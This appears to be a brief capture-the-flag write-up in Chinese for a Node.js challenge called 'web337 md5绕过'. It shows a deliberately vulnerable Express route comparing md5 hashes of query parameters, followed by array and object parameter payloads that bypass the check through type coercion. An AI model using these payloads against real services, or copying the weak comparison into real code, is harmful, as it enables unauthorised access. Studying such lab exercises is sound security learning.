web337 md5绕过

var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
      res.end(flag);
  }else{
      res.render('index',{ msg: 'tql'});
  }
});
module.exports = router;

和 PHP 一样，数组绕过即可

/?a[]=1&b=1

发现这样更易于理解
payload: a[x]=1&b[x]=2
运行一下代码

a={'x':'1'}
b={'x':'2'}
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
a=[1]
b=[2]
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")